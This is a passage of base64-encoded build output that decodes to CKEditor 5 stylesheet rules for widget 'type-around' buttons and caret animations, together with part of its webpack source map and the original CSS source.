cDpjYWxjKHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykqLTAuNSk7bGVmdDptaW4oMTAlLDMwcHgpO3RyYW5zZm9ybTp0cmFuc2xhdGVZKC01MCUpfS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uX2FmdGVye2JvdHRvbTpjYWxjKHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykqLTAuNSk7cmlnaHQ6bWluKDEwJSwzMHB4KTt0cmFuc2Zvcm06dHJhbnNsYXRlWSg1MCUpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF9zZWxlY3RlZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uOmFmdGVyLC5jayAuY2std2lkZ2V0Pi5jay13aWRnZXRfX3R5cGUtYXJvdW5kPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246aG92ZXI6YWZ0ZXJ7Y29udGVudDoiIjtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxcHg7bGVmdDoxcHg7ei1pbmRleDpjYWxjKHZhcigtLWNrLXotZGVmYXVsdCkgKyAxKX0uY2sgLmNrLXdpZGdldD4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fZmFrZS1jYXJldHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7bGVmdDowO3JpZ2h0OjB9LmNrIC5jay13aWRnZXQ6aG92ZXI+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2Zha2UtY2FyZXR7bGVmdDpjYWxjKHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykqLTEpO3JpZ2h0OmNhbGModmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKSotMSl9LmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9iZWZvcmU+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2Zha2UtY2FyZXR7dG9wOmNhbGModmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKSotMSAtIDFweCk7ZGlzcGxheTpibG9ja30uY2sgLmNrLXdpZGdldC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2FmdGVyPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19mYWtlLWNhcmV0e2JvdHRvbTpjYWxjKHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykqLTEgLSAxcHgpO2Rpc3BsYXk6YmxvY2t9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGUuY2stcmVhZC1vbmx5IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kLC5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLXJlc3RyaWN0ZWQtZWRpdGluZ19tb2RlX3Jlc3RyaWN0ZWQgLmNrLXdpZGdldF9fdHlwZS1hcm91bmQsLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUuY2std2lkZ2V0X190eXBlLWFyb3VuZF9kaXNhYmxlZCAuY2std2lkZ2V0X190eXBlLWFyb3VuZHtkaXNwbGF5Om5vbmV9OnJvb3R7LS1jay13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXNpemU6MjBweDstLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tYWN0aXZlOnZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlcik7LS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLWhvdmVyOnZhcigtLWNrLWNvbG9yLXdpZGdldC1ob3Zlci1ib3JkZXIpOy0tY2stY29sb3Itd2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1ibHVycmVkLWVkaXRhYmxlOnZhcigtLWNrLWNvbG9yLXdpZGdldC1ibHVycmVkLWJvcmRlcik7LS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXJhZGFyLXN0YXJ0LWFscGhhOjA7LS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXJhZGFyLWVuZC1hbHBoYTouMzstLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24taWNvbjp2YXIoLS1jay1jb2xvci1iYXNlLWJhY2tncm91bmQpfS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b257d2lkdGg6dmFyKC0tY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1zaXplKTtoZWlnaHQ6dmFyKC0tY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1zaXplKTtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24pO2JvcmRlci1yYWRpdXM6MTAwcHg7dHJhbnNpdGlvbjpvcGFjaXR5IHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKSxiYWNrZ3JvdW5kIHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKTtvcGFjaXR5OjA7cG9pbnRlci1ldmVudHM6bm9uZX0uY2sgLmNrLXdpZGdldCAuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uIHN2Z3t3aWR0aDoxMHB4O2hlaWdodDo4cHg7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO3RyYW5zaXRpb246dHJhbnNmb3JtIC41cyBlYXNlO21hcmdpbi10b3A6MXB4fS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24gc3ZnICp7c3Ryb2tlLWRhc2hhcnJheToxMDtzdHJva2UtZGFzaG9mZnNldDowO2ZpbGw6bm9uZTtzdHJva2U6dmFyKC0tY2stY29sb3Itd2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1pY29uKTtzdHJva2Utd2lkdGg6MS41cHg7c3Ryb2tlLWxpbmVjYXA6cm91bmQ7c3Ryb2tlLWxpbmVqb2luOnJvdW5kfS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24gc3ZnIGxpbmV7c3Ryb2tlLWRhc2hhcnJheTo3fS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246aG92ZXJ7YW5pbWF0aW9uOmNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc29uYXIgMXMgZWFzZSBpbmZpbml0ZX0uY2sgLmNrLXdpZGdldCAuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uOmhvdmVyIHN2ZyBwb2x5bGluZXthbmltYXRpb246Y2std2lkZ2V0LXR5cGUtYXJvdW5kLWFycm93LWRhc2ggMnMgbGluZWFyfS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246aG92ZXIgc3ZnIGxpbmV7YW5pbWF0aW9uOmNrLXdpZGdldC10eXBlLWFyb3VuZC1hcnJvdy10aXAtZGFzaCAycyBsaW5lYXJ9LmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3NlbGVjdGVkPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24sLmNrIC5jay13aWRnZXQ6aG92ZXI+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbntvcGFjaXR5OjE7cG9pbnRlci1ldmVudHM6YXV0b30uY2sgLmNrLXdpZGdldDpub3QoLmNrLXdpZGdldF9zZWxlY3RlZCk+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbntiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24taG92ZXIpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF9zZWxlY3RlZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uLC5jayAuY2std2lkZ2V0Pi5jay13aWRnZXRfX3R5cGUtYXJvdW5kPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246aG92ZXJ7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLWFjdGl2ZSl9LmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3NlbGVjdGVkPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246YWZ0ZXIsLmNrIC5jay13aWRnZXQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbjpob3ZlcjphZnRlcnt3aWR0aDpjYWxjKHZhcigtLWNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc2l6ZSkgLSAycHgpO2hlaWdodDpjYWxjKHZhcigtLWNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc2l6ZSkgLSAycHgpO2JvcmRlci1yYWRpdXM6MTAwcHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLGhzbGEoMCwwJSwxMDAlLDApLGhzbGEoMCwwJSwxMDAlLC4zKSl9LmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZT4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uX2JlZm9yZXttYXJnaW4tbGVmdDoyMHB4fS5jayAuY2std2lkZ2V0IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19mYWtlLWNhcmV0e3BvaW50ZXItZXZlbnRzOm5vbmU7aGVpZ2h0OjFweDthbmltYXRpb246Y2std2lkZ2V0LXR5cGUtYXJvdW5kLWZha2UtY2FyZXQtcHVsc2UgMXMgbGluZWFyIGluZmluaXRlIG5vcm1hbCBmb3J3YXJkcztvdXRsaW5lOjFweCBzb2xpZCBoc2xhKDAsMCUsMTAwJSwuNSk7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1iYXNlLXRleHQpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF9zZWxlY3RlZC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2FmdGVyLC5jayAuY2std2lkZ2V0LmNrLXdpZGdldF9zZWxlY3RlZC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2JlZm9yZXtvdXRsaW5lLWNvbG9yOnRyYW5zcGFyZW50fS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF90eXBlLWFyb3VuZF9zaG93LWZha2UtY2FyZXRfYWZ0ZXIuY2std2lkZ2V0X3NlbGVjdGVkOmhvdmVyLC5jayAuY2std2lkZ2V0LmNrLXdpZGdldF90eXBlLWFyb3VuZF9zaG93LWZha2UtY2FyZXRfYmVmb3JlLmNrLXdpZGdldF9zZWxlY3RlZDpob3ZlcntvdXRsaW5lLWNvbG9yOnZhcigtLWNrLWNvbG9yLXdpZGdldC1ob3Zlci1ib3JkZXIpfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF90eXBlLWFyb3VuZF9zaG93LWZha2UtY2FyZXRfYWZ0ZXI+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbiwuY2sgLmNrLXdpZGdldC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2JlZm9yZT4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9ue29wYWNpdHk6MDtwb2ludGVyLWV2ZW50czpub25lfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF90eXBlLWFyb3VuZF9zaG93LWZha2UtY2FyZXRfYWZ0ZXIuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZS5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXI+LmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSwuY2sgLmNrLXdpZGdldC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2FmdGVyLmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUuY2std2lkZ2V0X3NlbGVjdGVkPi5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUsLmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9iZWZvcmUuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZS5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXI+LmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZSwuY2sgLmNrLXdpZGdldC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2JlZm9yZS5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlLmNrLXdpZGdldF9zZWxlY3RlZD4uY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxle29wYWNpdHk6MH0uY2sgLmNrLXdpZGdldC5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2FmdGVyLmNrLXdpZGdldF9zZWxlY3RlZC5jay13aWRnZXRfd2l0aC1yZXNpemVyPi5jay13aWRnZXRfX3Jlc2l6ZXIsLmNrIC5jay13aWRnZXQuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9iZWZvcmUuY2std2lkZ2V0X3NlbGVjdGVkLmNrLXdpZGdldF93aXRoLXJlc2l6ZXI+LmNrLXdpZGdldF9fcmVzaXplcntvcGFjaXR5OjB9LmNrW2Rpcj1ydGxdIC5jay13aWRnZXQuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSAuY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uX2JlZm9yZXttYXJnaW4tbGVmdDowO21hcmdpbi1yaWdodDoyMHB4fS5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZS5jay1lZGl0b3JfX2VkaXRhYmxlX3NlbGVjdGVkIC5jay13aWRnZXQuY2std2lkZ2V0X3NlbGVjdGVkPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kPi5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24sLmNrLWVkaXRvcl9fbmVzdGVkLWVkaXRhYmxlLmNrLWVkaXRvcl9fZWRpdGFibGVfc2VsZWN0ZWQgLmNrLXdpZGdldDpob3Zlcj4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9ue29wYWNpdHk6MDtwb2ludGVyLWV2ZW50czpub25lfS5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmQ+LmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbjpub3QoOmhvdmVyKXtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tYmx1cnJlZC1lZGl0YWJsZSl9LmNrLWVkaXRvcl9fZWRpdGFibGUuY2stYmx1cnJlZCAuY2std2lkZ2V0LmNrLXdpZGdldF9zZWxlY3RlZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZD4uY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uOm5vdCg6aG92ZXIpIHN2ZyAqe3N0cm9rZTojOTk5fUBrZXlmcmFtZXMgY2std2lkZ2V0LXR5cGUtYXJvdW5kLWFycm93LWRhc2h7MCV7c3Ryb2tlLWRhc2hvZmZzZXQ6MTB9MjAlLHRve3N0cm9rZS1kYXNob2Zmc2V0OjB9fUBrZXlmcmFtZXMgY2std2lkZ2V0LXR5cGUtYXJvdW5kLWFycm93LXRpcC1kYXNoezAlLDIwJXtzdHJva2UtZGFzaG9mZnNldDo3fTQwJSx0b3tzdHJva2UtZGFzaG9mZnNldDowfX1Aa2V5ZnJhbWVzIGNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc29uYXJ7MCV7Ym94LXNoYWRvdzowIDAgMCAwIGhzbGEodmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyLWNvb3JkaW5hdGVzKSx2YXIoLS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXJhZGFyLXN0YXJ0LWFscGhhKSl9NTAle2JveC1zaGFkb3c6MCAwIDAgNXB4IGhzbGEodmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyLWNvb3JkaW5hdGVzKSx2YXIoLS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXJhZGFyLWVuZC1hbHBoYSkpfXRve2JveC1zaGFkb3c6MCAwIDAgNXB4IGhzbGEodmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyLWNvb3JkaW5hdGVzKSx2YXIoLS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXJhZGFyLXN0YXJ0LWFscGhhKSl9fUBrZXlmcmFtZXMgY2std2lkZ2V0LXR5cGUtYXJvdW5kLWZha2UtY2FyZXQtcHVsc2V7MCV7b3BhY2l0eToxfTQ5JXtvcGFjaXR5OjF9NTAle29wYWNpdHk6MH05OSV7b3BhY2l0eTowfXRve29wYWNpdHk6MX19JywiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS13aWRnZXQvdGhlbWUvd2lkZ2V0dHlwZWFyb3VuZC5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL2NrZWRpdG9yNS13aWRnZXQvd2lkZ2V0dHlwZWFyb3VuZC5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFTQywrQ0FDQyxhQUFjLENBQ2QsaUJBQWtCLENBQ2xCLGVBQWdCLENBQ2hCLDJCQXdCRCxDQXRCQyxtREFDQyxpQkFBa0IsQ0FDbEIsT0FBUSxDQUNSLFFBQVMsQ0FDVCxxQ0FDRCxDQUVBLHFGQUVDLGlEQUFvRCxDQUNwRCxrQkFBb0IsQ0FFcEIsMEJBQ0QsQ0FFQSxvRkFFQyxvREFBdUQsQ0FDdkQsbUJBQXFCLENBRXJCLHlCQUNELENBVUEsbUxBQ0MsVUFBVyxDQUNYLGFBQWMsQ0FDZCxpQkFBa0IsQ0FDbEIsT0FBUSxDQUNSLFFBQVMsQ0FDVCxxQ0FDRCxDQU1ELDJFQUNDLFlBQWEsQ0FDYixpQkFBa0IsQ0FDbEIsTUFBTyxDQUNQLE9BQ0QsQ0FPQSxpRkFDQyxnREFBcUQsQ0FDckQsaURBQ0QsQ0FLQSx3SEFDQyxxREFBMEQsQ0FDMUQsYUFDRCxDQUtBLHVIQUNDLHdEQUE2RCxDQUM3RCxhQUNELENBb0JELG1PQUNDLFlBQ0QsQ0MzR0EsTUFDQyx3Q0FBeUMsQ0FDekMsd0VBQXlFLENBQ3pFLDhFQUErRSxDQUMvRSwyRkFBNEYsQ0FDNUYsd0RBQXlELENBQ3pELHVEQUF3RCxDQUN4RCx5RUFDRCxDQWdCQywrQ0FDQyw4Q0FBK0MsQ0FDL0MsK0NBQWdELENBQ2hELG9EQUFxRCxDQUNyRCxtQkFBb0IsQ0FDcEIsdU1BQXlNLENBYjFNLFNBQVUsQ0FDVixtQkEwREEsQ0ExQ0MsbURBQ0MsVUFBVyxDQUNYLFVBQVcsQ0FDWCw4QkFBK0IsQ0FDL0IsNkJBQThCLENBQzlCLGNBZ0JELENBZEMscURBQ0MsbUJBQW9CLENBQ3BCLG1CQUFvQixDQUVwQixTQUFVLENBQ1YscURBQXNELENBQ3RELGtCQUFtQixDQUNuQixvQkFBcUIsQ0FDckIscUJBQ0QsQ0FFQSx3REFDQyxrQkFDRCxDQUdELHFEQUlDLDZEQWNELENBUkUsa0VBQ0Msb0RBQ0QsQ0FFQSw4REFDQyx3REFDRCxDQVVGLHVLQXZFRCxTQUFVLENBQ1YsbUJBd0VDLENBT0QsZ0dBQ0MsMERBQ0QsQ0FPQSx1S0FFQywyREFRRCxDQU5DLG1MQUNDLDBEQUEyRCxDQUMzRCwyREFBNEQsQ0FDNUQsbUJBQW9CLENBQ3BCLHVFQUNELENBT0QsOEdBQ0MsZ0JBQ0QsQ0FLQSxtREFDQyxtQkFBb0IsQ0FDcEIsVUFBVyxDQUNYLG1GQUFvRixDQU1wRixvQ0FBd0MsQ0FDeEMsb0NBQ0QsQ0FPQyw2SkFFQyx5QkFDRCxDQVVBLHlLQUNDLGlEQUNELENBTUEsdU9BbEpELFNBQVUsQ0FDVixtQkFtSkMsQ0FTRSwwakJBQ0MsU0FDRCxDQVNGLG1QQUNDLFNBQ0QsQ0FTRix1SEFDQyxhQUFjLENBQ2QsaUJBQ0QsQ0FZRyxpUkFsTUYsU0FBVSxDQUNWLG1CQW1NRSxDQVFILGtJQUNDLHFFQUtELENBSEMsd0lBQ0MsV0FDRCxDQUdELDRDQUNDLEdBQ0Msb0JBQ0QsQ0FDQSxPQUNDLG1CQUNELENBQ0QsQ0FFQSxnREFDQyxPQUNDLG1CQUNELENBQ0EsT0FDQyxtQkFDRCxDQUNELENBRUEsOENBQ0MsR0FDQyw2SEFDRCxDQUNBLElBQ0MsNkhBQ0QsQ0FDQSxHQUNDLCtIQUNELENBQ0QsQ0FFQSxrREFDQyxHQUNDLFNBQ0QsQ0FDQSxJQUNDLFNBQ0QsQ0FDQSxJQUNDLFNBQ0QsQ0FDQSxJQUNDLFNBQ0QsQ0FDQSxHQUNDLFNBQ0QsQ0FDRCIsc291cmNlc0NvbnRlbnQ6WycvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jayAuY2std2lkZ2V0IHtcblx0Lypcblx0ICogU3R5bGVzIG9mIHRoZSB0eXBlIGFyb3VuZCBidXR0b25zXG5cdCAqL1xuXHQmIC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24ge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdHotaW5kZXg6IHZhcigtLWNrLXotZGVmYXVsdCk7XG5cblx0XHQmIHN2ZyB7XG5cdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHR0b3A6IDUwJTtcblx0XHRcdGxlZnQ6IDUwJTtcblx0XHRcdHotaW5kZXg6IGNhbGModmFyKC0tY2stei1kZWZhdWx0KSArIDIpO1xuXHRcdH1cblxuXHRcdCYuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uX2JlZm9yZSB7XG5cdFx0XHQvKiBQbGFjZSBpdCBpbiB0aGUgbWlkZGxlIG9mIHRoZSBvdXRsaW5lICovXG5cdFx0XHR0b3A6IGNhbGMoLTAuNSAqIHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykpO1xuXHRcdFx0bGVmdDogbWluKDEwJSwgMzBweCk7XG5cblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcblx0XHR9XG5cblx0XHQmLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbl9hZnRlciB7XG5cdFx0XHQvKiBQbGFjZSBpdCBpbiB0aGUgbWlkZGxlIG9mIHRoZSBvdXRsaW5lICovXG5cdFx0XHRib3R0b206IGNhbGMoLTAuNSAqIHZhcigtLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzcykpO1xuXHRcdFx0cmlnaHQ6IG1pbigxMCUsIDMwcHgpO1xuXG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoNTAlKTtcblx0XHR9XG5cdH1cblxuXHQvKlxuXHQgKiBTdHlsZXMgZm9yIHRoZSBidXR0b25zIHdoZW46XG5cdCAqIC0gdGhlIHdpZGdldCBpcyBzZWxlY3RlZCxcblx0ICogLSBvciB0aGUgYnV0dG9uIGlzIGJlaW5nIGhvdmVyZWQgKHJlZ2FyZGxlc3Mgb2YgdGhlIHdpZGdldCBzdGF0ZSkuXG5cdCAqL1xuXHQmLmNrLXdpZGdldF9zZWxlY3RlZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kID4gLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbixcblx0JiA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kID4gLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbjpob3ZlciB7XG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29udGVudDogIiI7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdHRvcDogMXB4O1xuXHRcdFx0bGVmdDogMXB4O1xuXHRcdFx0ei1pbmRleDogY2FsYyh2YXIoLS1jay16LWRlZmF1bHQpICsgMSk7XG5cdFx0fVxuXHR9XG5cblx0Lypcblx0ICogU3R5bGVzIGZvciB0aGUgaG9yaXpvbnRhbCAiZmFrZSBjYXJldCIgd2hpY2ggaXMgZGlzcGxheWVkIHdoZW4gdGhlIHVzZXIgbmF2aWdhdGVzIHVzaW5nIHRoZSBrZXlib2FyZC5cblx0ICovXG5cdCYgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19mYWtlLWNhcmV0IHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRsZWZ0OiAwO1xuXHRcdHJpZ2h0OiAwO1xuXHR9XG5cblx0Lypcblx0ICogV2hlbiB0aGUgd2lkZ2V0IGlzIGhvdmVyZWQgdGhlICJmYWtlIGNhcmV0IiB3b3VsZCBub3JtYWxseSBiZSBuYXJyb3dlciB0aGFuIHRoZVxuXHQgKiBleHRyYSBvdXRsaW5lIGRpc3BsYXllZCBhcm91bmQgdGhlIHdpZGdldC4gTGV0XCdzIGV4dGVuZCB0aGUgImZha2UgY2FyZXQiIHRvIG1hdGNoXG5cdCAqIHRoZSBmdWxsIHdpZHRoIG9mIHRoZSB3aWRnZXQuXG5cdCAqL1xuXHQmOmhvdmVyID4gLmNrLXdpZGdldF9fdHlwZS1hcm91bmQgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZF9fZmFrZS1jYXJldCB7XG5cdFx0bGVmdDogY2FsYyggLTEgKiB2YXIoLS1jay13aWRnZXQtb3V0bGluZS10aGlja25lc3MpICk7XG5cdFx0cmlnaHQ6IGNhbGMoIC0xICogdmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKSApO1xuXHR9XG5cblx0Lypcblx0ICogU3R5bGVzIGZvciB0aGUgaG9yaXpvbnRhbCAiZmFrZSBjYXJldCIgd2hlbiBpdCBzaG91bGQgYmUgZGlzcGxheWVkIGJlZm9yZSB0aGUgd2lkZ2V0IChiYWNrd2FyZCBrZXlib2FyZCBuYXZpZ2F0aW9uKS5cblx0ICovXG5cdCYuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9iZWZvcmUgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19mYWtlLWNhcmV0IHtcblx0XHR0b3A6IGNhbGMoIC0xICogdmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKSAtIDFweCApO1